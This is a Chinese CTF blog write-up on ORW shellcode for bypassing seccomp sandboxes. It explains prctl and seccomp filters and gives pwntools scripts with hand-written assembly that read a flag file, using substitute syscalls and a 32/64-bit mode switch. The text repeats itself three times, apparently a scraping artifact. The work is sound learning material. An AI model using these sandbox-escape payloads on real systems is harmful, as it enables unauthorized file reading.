首页 > 其他分享 >summer2024_orw

summer2024_orw

时间:2024-07-30 22:50:54浏览次数:19  
标签:open read summer2024 mov orw seccomp rdi rax

妈呀普天同庆,终于过了啊啊啊啊啊【尖叫】【阴暗爬行】

orw原理

就是有两个函数可以控制函数禁用prtcl()和seccomp()

prctl

#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

// 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)

// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);

// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);

seccomp()

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  // 这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
  // seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    puts("seccomp error");
    exit(0);
  }

  // seccomp_rule_add添加规则
  // v1对应上面初始化的返回值
  // 0x7fff0000即对应宏SCMP_ACT_ALLOW
  // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
  // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
  seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);

  // seccomp_load->将当前seccomp过滤器加载到内核中
  if ( seccomp_load(v1) < 0 )
  {
    // seccomp_release->释放seccomp过滤器状态
    // 但对已经load的过滤规则不影响
    seccomp_release(v1);
    puts("seccomp error");
    exit(0);
  }
  return seccomp_release(v1);
}

这两个函数开启沙盒,具体的哪个函数被禁止,可以看反汇编之后的函数,也可以用[$ seccomp-tools dump ./文件名]{.kbd .red}

看每一条if()语句对应的goto哪一行,对应着kill,还是allow

shellcode写入哪里,如何执行?



我们发现这里有个call rdx,进去

发现call rdx之后就是我们写的shellcode!!!
低版本的是用call rdi作为索引,之后是call rdx,或者有jmp rsp也可以

整体思路

用seccomp-tools dump看哪些函数能用
open[openat代替]{.kbd .red},read[readv代替]{.kbd .red},write[writev代替]{.kbd .red},execve[execveat代替]{.kbd .red}
[read&write用sendfile]{.kbd .red}
我们就用open打开flag文件,read读取flag,write把flag写到屏幕上
这个过程我发现尽头还是手搓汇编()
用汇编代码写open,read,write的函数
fp = open("flag") ,read(fp,buf,0x30),write(1,buf,0x30)
open('./flag')
read(3,buf,0x100)[3是fd描述符,表示读文件,0x100表示我们读多少]{.kbd .red}
write(1,buf,0x100)[1是fd描述符,表示把它写在屏幕上,0x100表示我们显示多少在屏幕上]{.kbd .red}
手搓的话,应该就是顺着函数调用时寄存器和参数顺序把open,read,write用到的系统调用号,描述符,open就是把flag压进去,read,write都要描述符,和我们想要读写的内存。rdi应包含文件描述符,rsi应包含目标缓冲区地址,rdx应包含要读取的字节数。

[函数被禁止了]{.kbd .red}那就找替代品,[还是手搓55]{.kbd .red}
:::warning
替代品找不着请听下回分解
:::

shellcode1

seccomp-tools dump看了一下发现open,read,write都可以用,那就可以直接用pwntools中的sh=shellcraft

wp1

from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
r=remote("127.0.0.1",39611)
buf = 0x0404010   #bss段地址
sh=shellcraft.open('./flag')
sh+=shellcraft.read(3,buf,0x100)
sh+=shellcraft.write(1,buf,0x100)
sh=asm(sh)
r.sendline(sh)
r.interactive()

wp2

from pwn import*
context(os="linux",arch='amd64',log_level='debug')
io=remote("127.0.0.1",45621)
sh='''
xor rax,rax   #清空寄存器
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx

mov rax,2	#把open系统调用号存rax,这样我们就可以调用open
mov rdi,0x67616c662f2e	#0x67616c662f2e(flag)存入rdi,相当于open('./flag')
push rdi
mov rdi,rsp
syscall

mov rax,0	#把read系统调用号存rax,这样我们就可以调用read
mov rdx,0x30 
mov rsi,0x67616c662f2e		#read(3,buf,0x30)
mov rsi,rsp
mov rdi,3
syscall

mov rdi,1
mov rax,1		#把write系统调用号存rax,这样我们就可以调用write
syscall
'''
io.sendline(asm(sh))
io.interactive()

shellcode2

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0010
0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010
0007: 0x15 0x02 0x00 0x00000014 if (A == writev) goto 0010
0008: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

这些函数都用不了,那我们就用openat代替open,sendfile代替read和write

from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux',terminal = ['tmux','splitw','-h'])
p = remote("127.0.0.1",33555)
shellcode='''
xor rsi,rsi;
mov rbx,0x67616c662f;
push rbx;
mov rdx,0;   #设置oflag为0
mov rdi,3;   #文件描述符3
mov rsi,rsp
mov rax,257; #openat的系统调用号
syscall;

mov rsi,3;  #in_fd
mov r10,200;
mov rdi,1;   #out_fd
mov rax,40; #sendfile的系统调用号
syscall;
'''
p.send(asm(shellcode))
p.interactive()

https://kylinxin.github.io/2023/11/26/ORW 题型/#RW-缺-O
https://www.jianshu.com/p/754b0a2ae353

shellcode3

查看沙箱函数,发现只有write,fstat,read,mmap可以用
然后发现fstat的系统调用号5在32位的系统下是open

关于mmap


先用read让可以利用的变量结合上汇编语言跳转到mmap的地方
然后去写入我们的orw_shellcode就可以得到flag了
[即用mmap开一块内存,切换到32位,open,再到64位读flag]{.kbd .red}

wp

from pwn import *
#p =remote('127.0.0.1', 41893)
p = process("./shellcode3")
context(log_level = 'debug', os = 'linux', arch = 'amd64')
shellcode_read_mmap='''
push 0x40404000
pop rdi
push 0x1000
pop rsi
push 7 
pop rdx
xor r8, r8 
xor r9, r9 
mov r10,33
pop rcx
push 9  
pop rax
syscall

xor rdi, rdi 
push 0x40404000
pop rsi
push 0x70
pop rdx
xor rax, rax
syscall

call rsi

'''
shift_32 = '''
push 0x23
push 0x40404009
retfq
'''
shellcode_open = '''
mov esp, 0x40404100
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''
shift_64 = '''
push 0x33
push 0x40404029
retfq
'''
shellcode_read = '''
mov rdi, 3
mov rsi, 0x40404200
mov rdx, 0x60
xor rax, rax
syscall   
'''
shellcode_write='''
mov rdi, 1
mov rax, 1
syscall
'''
shellcode=asm(shellcode_read_mmap)
gdb.attach(p)
pause()
p.send(shellcode)
payload = asm(shift_32)
payload += asm(shellcode_open)
payload += asm(shift_64)
payload += asm(shellcode_read)
payload += asm(shellcode_write)
pause()
p.send(payload)
p.interactive()

shellcode4


发现read,open,readv,sendfile,execve都不能用
然后我们可以用openat代替open,pread代替read

wp

from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux')
#p =remote('127.0.0.1', 39393)
p = process("./shellcode4")
shellcode = asm(''' 
xor rax,rax
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx

mov rbx,0x67616c66
push rbx
mov rdx,0   #设置oflag为0
mov rdi,-100   #文件描述符3
mov rsi,rsp
mov rax,257 #openat的系统调用号
syscall   

mov rdi,3 
mov rsi, 0x40450        
mov rdx,0x100              
mov rax, 17                
mov r10, 0 
syscall

mov rax, 1     
mov rdi, 1     
syscall

''')
gdb.attach(p)
pause()
p.send(shellcode)
p.interactive()

title: summer2024_orw
date: 2024-07-08 18:40:27
categories: "Pwn"
cover: https://s2.loli.net/2024/07/05/p4fGzLOIjcgBXV9.jpg
tags:

  • stack
  • 刷题

妈呀普天同庆,终于过了啊啊啊啊啊【尖叫】【阴暗爬行】

orw原理

就是有两个函数可以控制函数禁用prtcl()和seccomp()

prctl

#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

// 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)

// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);

// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);

seccomp()

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  // 这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
  // seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    puts("seccomp error");
    exit(0);
  }

  // seccomp_rule_add添加规则
  // v1对应上面初始化的返回值
  // 0x7fff0000即对应宏SCMP_ACT_ALLOW
  // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
  // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
  seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);

  // seccomp_load->将当前seccomp过滤器加载到内核中
  if ( seccomp_load(v1) < 0 )
  {
    // seccomp_release->释放seccomp过滤器状态
    // 但对已经load的过滤规则不影响
    seccomp_release(v1);
    puts("seccomp error");
    exit(0);
  }
  return seccomp_release(v1);
}

这两个函数开启沙盒,具体的哪个函数被禁止,可以看反汇编之后的函数,也可以用[$ seccomp-tools dump ./文件名]{.kbd .red}

看每一条if()语句对应的goto哪一行,对应着kill,还是allow

shellcode写入哪里,如何执行?



我们发现这里有个call rdx,进去

发现call rdx之后就是我们写的shellcode!!!
低版本的是用call rdi作为索引,之后是call rdx,或者有jmp rsp也可以

整体思路

用seccomp-tools dump看哪些函数能用
open[openat代替]{.kbd .red},read[readv代替]{.kbd .red},write[writev代替]{.kbd .red},execve[execveat代替]{.kbd .red}
[read&write用sendfile]{.kbd .red}
我们就用open打开flag文件,read读取flag,write把flag写到屏幕上
这个过程我发现尽头还是手搓汇编()
用汇编代码写open,read,write的函数
fp = open("flag") ,read(fp,buf,0x30),write(1,buf,0x30)
open('./flag')
read(3,buf,0x100)[3是fd描述符,表示读文件,0x100表示我们读多少]{.kbd .red}
write(1,buf,0x100)[1是fd描述符,表示把它写在屏幕上,0x100表示我们显示多少在屏幕上]{.kbd .red}
手搓的话,应该就是顺着函数调用时寄存器和参数顺序把open,read,write用到的系统调用号,描述符,open就是把flag压进去,read,write都要描述符,和我们想要读写的内存。rdi应包含文件描述符,rsi应包含目标缓冲区地址,rdx应包含要读取的字节数。

[函数被禁止了]{.kbd .red}那就找替代品,[还是手搓55]{.kbd .red}
:::warning
替代品找不着请听下回分解
:::

shellcode1

seccomp-tools dump看了一下发现open,read,write都可以用,那就可以直接用pwntools中的sh=shellcraft

wp1

from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
r=remote("127.0.0.1",39611)
buf = 0x0404010   #bss段地址
sh=shellcraft.open('./flag')
sh+=shellcraft.read(3,buf,0x100)
sh+=shellcraft.write(1,buf,0x100)
sh=asm(sh)
r.sendline(sh)
r.interactive()

wp2

from pwn import*
context(os="linux",arch='amd64',log_level='debug')
io=remote("127.0.0.1",45621)
sh='''
xor rax,rax   #清空寄存器
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx

mov rax,2	#把open系统调用号存rax,这样我们就可以调用open
mov rdi,0x67616c662f2e	#0x67616c662f2e(flag)存入rdi,相当于open('./flag')
push rdi
mov rdi,rsp
syscall

mov rax,0	#把read系统调用号存rax,这样我们就可以调用read
mov rdx,0x30 
mov rsi,0x67616c662f2e		#read(3,buf,0x30)
mov rsi,rsp
mov rdi,3
syscall

mov rdi,1
mov rax,1		#把write系统调用号存rax,这样我们就可以调用write
syscall
'''
io.sendline(asm(sh))
io.interactive()

shellcode2

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0010
0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010
0007: 0x15 0x02 0x00 0x00000014 if (A == writev) goto 0010
0008: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

这些函数都用不了,那我们就用openat代替open,sendfile代替read和write

from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux',terminal = ['tmux','splitw','-h'])
p = remote("127.0.0.1",33555)
shellcode='''
xor rsi,rsi;
mov rbx,0x67616c662f;
push rbx;
mov rdx,0;   #设置oflag为0
mov rdi,3;   #文件描述符3
mov rsi,rsp
mov rax,257; #openat的系统调用号
syscall;

mov rsi,3;  #in_fd
mov r10,200;
mov rdi,1;   #out_fd
mov rax,40; #sendfile的系统调用号
syscall;
'''
p.send(asm(shellcode))
p.interactive()

https://kylinxin.github.io/2023/11/26/ORW 题型/#RW-缺-O
https://www.jianshu.com/p/754b0a2ae353

shellcode3

查看沙箱函数,发现只有write,fstat,read,mmap可以用
然后发现fstat的系统调用号5在32位的系统下是open

关于mmap


先用read让可以利用的变量结合上汇编语言跳转到mmap的地方
然后去写入我们的orw_shellcode就可以得到flag了
[即用mmap开一块内存,切换到32位,open,再到64位读flag]{.kbd .red}

wp

from pwn import *
#p =remote('127.0.0.1', 41893)
p = process("./shellcode3")
context(log_level = 'debug', os = 'linux', arch = 'amd64')
shellcode_read_mmap='''
push 0x40404000
pop rdi
push 0x1000
pop rsi
push 7 
pop rdx
xor r8, r8 
xor r9, r9 
mov r10,33
pop rcx
push 9  
pop rax
syscall

xor rdi, rdi 
push 0x40404000
pop rsi
push 0x70
pop rdx
xor rax, rax
syscall

call rsi

'''
shift_32 = '''
push 0x23
push 0x40404009
retfq
'''
shellcode_open = '''
mov esp, 0x40404100
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''
shift_64 = '''
push 0x33
push 0x40404029
retfq
'''
shellcode_read = '''
mov rdi, 3
mov rsi, 0x40404200
mov rdx, 0x60
xor rax, rax
syscall   
'''
shellcode_write='''
mov rdi, 1
mov rax, 1
syscall
'''
shellcode=asm(shellcode_read_mmap)
gdb.attach(p)
pause()
p.send(shellcode)
payload = asm(shift_32)
payload += asm(shellcode_open)
payload += asm(shift_64)
payload += asm(shellcode_read)
payload += asm(shellcode_write)
pause()
p.send(payload)
p.interactive()

shellcode4


发现read,open,readv,sendfile,execve都不能用
然后我们可以用openat代替open,pread代替read

wp

from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux')
#p =remote('127.0.0.1', 39393)
p = process("./shellcode4")
shellcode = asm(''' 
xor rax,rax
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx

mov rbx,0x67616c66
push rbx
mov rdx,0   #设置oflag为0
mov rdi,-100   #文件描述符3
mov rsi,rsp
mov rax,257 #openat的系统调用号
syscall   

mov rdi,3 
mov rsi, 0x40450        
mov rdx,0x100              
mov rax, 17                
mov r10, 0 
syscall

mov rax, 1     
mov rdi, 1     
syscall

''')
gdb.attach(p)
pause()
p.send(shellcode)
p.interactive()

title: summer2024_orw
date: 2024-07-08 18:40:27
categories: "Pwn"
cover: https://s2.loli.net/2024/07/05/p4fGzLOIjcgBXV9.jpg
tags:

  • stack
  • 刷题

妈呀普天同庆,终于过了啊啊啊啊啊【尖叫】【阴暗爬行】

orw原理

就是有两个函数可以控制函数禁用prtcl()和seccomp()

prctl

#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

// 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)

// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);

// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);

seccomp()

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  // 这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
  // seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    puts("seccomp error");
    exit(0);
  }

  // seccomp_rule_add添加规则
  // v1对应上面初始化的返回值
  // 0x7fff0000即对应宏SCMP_ACT_ALLOW
  // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
  // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
  seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);

  // seccomp_load->将当前seccomp过滤器加载到内核中
  if ( seccomp_load(v1) < 0 )
  {
    // seccomp_release->释放seccomp过滤器状态
    // 但对已经load的过滤规则不影响
    seccomp_release(v1);
    puts("seccomp error");
    exit(0);
  }
  return seccomp_release(v1);
}

这两个函数开启沙盒,具体的哪个函数被禁止,可以看反汇编之后的函数,也可以用[$ seccomp-tools dump ./文件名]{.kbd .red}

看每一条if()语句对应的goto哪一行,对应着kill,还是allow

shellcode写入哪里,如何执行?



我们发现这里有个call rdx,进去

发现call rdx之后就是我们写的shellcode!!!
低版本的是用call rdi作为索引,之后是call rdx,或者有jmp rsp也可以

整体思路

用seccomp-tools dump看哪些函数能用
open[openat代替]{.kbd .red},read[readv代替]{.kbd .red},write[writev代替]{.kbd .red},execve[execveat代替]{.kbd .red}
[read&write用sendfile]{.kbd .red}
我们就用open打开flag文件,read读取flag,write把flag写到屏幕上
这个过程我发现尽头还是手搓汇编()
用汇编代码写open,read,write的函数
fp = open("flag") ,read(fp,buf,0x30),write(1,buf,0x30)
open('./flag')
read(3,buf,0x100)[3是fd描述符,表示读文件,0x100表示我们读多少]{.kbd .red}
write(1,buf,0x100)[1是fd描述符,表示把它写在屏幕上,0x100表示我们显示多少在屏幕上]{.kbd .red}
手搓的话,应该就是顺着函数调用时寄存器和参数顺序把open,read,write用到的系统调用号,描述符,open就是把flag压进去,read,write都要描述符,和我们想要读写的内存。rdi应包含文件描述符,rsi应包含目标缓冲区地址,rdx应包含要读取的字节数。

[函数被禁止了]{.kbd .red}那就找替代品,[还是手搓55]{.kbd .red}
:::warning
替代品找不着请听下回分解
:::

shellcode1

seccomp-tools dump看了一下发现open,read,write都可以用,那就可以直接用pwntools中的sh=shellcraft

wp1

from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
r=remote("127.0.0.1",39611)
buf = 0x0404010   #bss段地址
sh=shellcraft.open('./flag')
sh+=shellcraft.read(3,buf,0x100)
sh+=shellcraft.write(1,buf,0x100)
sh=asm(sh)
r.sendline(sh)
r.interactive()

wp2

from pwn import*
context(os="linux",arch='amd64',log_level='debug')
io=remote("127.0.0.1",45621)
sh='''
xor rax,rax   #清空寄存器
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx

mov rax,2	#把open系统调用号存rax,这样我们就可以调用open
mov rdi,0x67616c662f2e	#0x67616c662f2e(flag)存入rdi,相当于open('./flag')
push rdi
mov rdi,rsp
syscall

mov rax,0	#把read系统调用号存rax,这样我们就可以调用read
mov rdx,0x30 
mov rsi,0x67616c662f2e		#read(3,buf,0x30)
mov rsi,rsp
mov rdi,3
syscall

mov rdi,1
mov rax,1		#把write系统调用号存rax,这样我们就可以调用write
syscall
'''
io.sendline(asm(sh))
io.interactive()

shellcode2

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0010
0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010
0007: 0x15 0x02 0x00 0x00000014 if (A == writev) goto 0010
0008: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

这些函数都用不了,那我们就用openat代替open,sendfile代替read和write

from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux',terminal = ['tmux','splitw','-h'])
p = remote("127.0.0.1",33555)
shellcode='''
xor rsi,rsi;
mov rbx,0x67616c662f;
push rbx;
mov rdx,0;   #设置oflag为0
mov rdi,3;   #文件描述符3
mov rsi,rsp
mov rax,257; #openat的系统调用号
syscall;

mov rsi,3;  #in_fd
mov r10,200;
mov rdi,1;   #out_fd
mov rax,40; #sendfile的系统调用号
syscall;
'''
p.send(asm(shellcode))
p.interactive()

https://kylinxin.github.io/2023/11/26/ORW 题型/#RW-缺-O
https://www.jianshu.com/p/754b0a2ae353

shellcode3

查看沙箱函数,发现只有write,fstat,read,mmap可以用
然后发现fstat的系统调用号5在32位的系统下是open

关于mmap


先用read让可以利用的变量结合上汇编语言跳转到mmap的地方
然后去写入我们的orw_shellcode就可以得到flag了
[即用mmap开一块内存,切换到32位,open,再到64位读flag]{.kbd .red}

wp

from pwn import *
#p =remote('127.0.0.1', 41893)
p = process("./shellcode3")
context(log_level = 'debug', os = 'linux', arch = 'amd64')
shellcode_read_mmap='''
push 0x40404000
pop rdi
push 0x1000
pop rsi
push 7 
pop rdx
xor r8, r8 
xor r9, r9 
mov r10,33
pop rcx
push 9  
pop rax
syscall

xor rdi, rdi 
push 0x40404000
pop rsi
push 0x70
pop rdx
xor rax, rax
syscall

call rsi

'''
shift_32 = '''
push 0x23
push 0x40404009
retfq
'''
shellcode_open = '''
mov esp, 0x40404100
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''
shift_64 = '''
push 0x33
push 0x40404029
retfq
'''
shellcode_read = '''
mov rdi, 3
mov rsi, 0x40404200
mov rdx, 0x60
xor rax, rax
syscall   
'''
shellcode_write='''
mov rdi, 1
mov rax, 1
syscall
'''
shellcode=asm(shellcode_read_mmap)
gdb.attach(p)
pause()
p.send(shellcode)
payload = asm(shift_32)
payload += asm(shellcode_open)
payload += asm(shift_64)
payload += asm(shellcode_read)
payload += asm(shellcode_write)
pause()
p.send(payload)
p.interactive()

shellcode4


发现read,open,readv,sendfile,execve都不能用
然后我们可以用openat代替open,pread代替read

wp

from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux')
#p =remote('127.0.0.1', 39393)
p = process("./shellcode4")
shellcode = asm(''' 
xor rax,rax
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx

mov rbx,0x67616c66
push rbx
mov rdx,0   #设置oflag为0
mov rdi,-100   #文件描述符3
mov rsi,rsp
mov rax,257 #openat的系统调用号
syscall   

mov rdi,3 
mov rsi, 0x40450        
mov rdx,0x100              
mov rax, 17                
mov r10, 0 
syscall

mov rax, 1     
mov rdi, 1     
syscall

''')
gdb.attach(p)
pause()
p.send(shellcode)
p.interactive()

标签:open,read,summer2024,mov,orw,seccomp,rdi,rax
From: https://www.cnblogs.com/Jexy/p/18333506

相关文章

  • 关于ssh的X11Forwarding功能和vnc端口冲突的问题
    前言偶然间发现有时vnc端口启动不了,显示端口已经启动,但是查看发现默认的59xx端口未启动,但是60xx端口缺被一个sshd进程占用,vnc服务除了默认的59xx端口,还会用到60xx端口。正是因为这个60xx端口被sshd进程占用,所以vnc才启动不了。 那么这个sshd端口是干嘛的呢,默认的sshd端口不是......
  • orw
    open(file,oflag)file要读取的文件名(通常是“flag”或“flag.txt”)(还有'/flag'和'./flag'????)oflag何种方式打开文件(通常设置为0,即以默认方式打开,一般来说都是只读)返回值一个文件描述符read&write(fd,buf,n_bytes)fd文件描述符,决定函数操作read(3,buf,n_byte......
  • Nginx(openresty) X-Forwarded-For $proxy_add_x_forwarded_for 多层代理 通过map分割
    1nginx配置#配置多层反向代理,配置如下proxy_passhttp://ip或者域名/;proxy_connect_timeout60;proxy_send_timeout60;proxy_read_timeout60;proxy_set_headerUpgrade$h......
  • Microsoft.AspNetCore.Builder.ForwardedHeadersOptions
    答案为ai生成ForwardedHeadersOptions是ASP.NETCore中用于配置转发头部的一个类。当应用程序位于负载均衡器(https://blog.csdn.net/cyl101816/article/details/135195729)、反向代理服务器等后面时,由于HTTP请求会通过多个代理或转发,原始的请求头(如X-Forwarded-For和X-For......
  • 【YOLOv8改进】MSFN(Multi-Scale Feed-Forward Network):多尺度前馈网络
    摘要摘要——高光谱图像(HSI)去噪对于高光谱数据的有效分析和解释至关重要。然而,同时建模全局和局部特征以增强HSI去噪的研究却很少。在本文中,我们提出了一种混合卷积和注意力网络(HCANet),该网络结合了卷积神经网络(CNN)和Transformers的优势。为了增强全局和局部特征的建模,我们设计了......
  • git文件上推失败-(non-fast-forward)
    文章目录一、问题描述二、问题原因三、解决方法3.1合并分支(1)通过图形化界面(2)通过命令行3.2解决文件合并冲突一、问题描述在使用git上推时出现下列错误:![rejected]master->master(non-fast-forward)hint:Updateswererejectedbecausethetipofyourcu......
  • Nginx代理设置 Host 和 X-Forward-For
    nginx配置代理请求,将包含/a前缀路径的请求,转发服务器https://test.com:8088,在server层级内配置转发规则,依然404找不到路由,增加一行设置Host后可以正常访问location/a{proxy_passhttps://test.com:8088;}location/a{proxy_pass......
  • Linux ip forward和网卡forward
    问题现象k8s集群外节点192.168.0.112创建路由,可以访问到k8s集群内节点podip。iprouteadd10.16.0.0/16via192.168.0.105devens33目的网段是容器网段,下一跳是k8s节点ip192.168.0.105,相当于flannelhostgw模式。10.16.0.17是corednspodip,容器网络走flanneloverlay。......
  • spring security 指定了 failureForwardUrl 的请求接口 但是没有效果
    springboot版本:3.3.0springsecurity版本:3.3.0代码如下:springsecurity配置类importorg.springframework.context.annotation.Bean;importorg.springframework.context.annotation.Configuration;importorg.springframework.security.config.annotation.web.builders......
  • Flutter 中的 ErrorWidget 小部件:全面指南
    Flutter中的ErrorWidget小部件:全面指南Flutter是一个由Google开发的跨平台UI框架,它允许开发者使用Dart语言构建高性能、美观的应用。在Flutter的丰富组件库中,ErrorWidget是一个特殊的组件,用于在渲染过程中捕获和显示错误。本文将为您提供一个全面的指南,介绍如......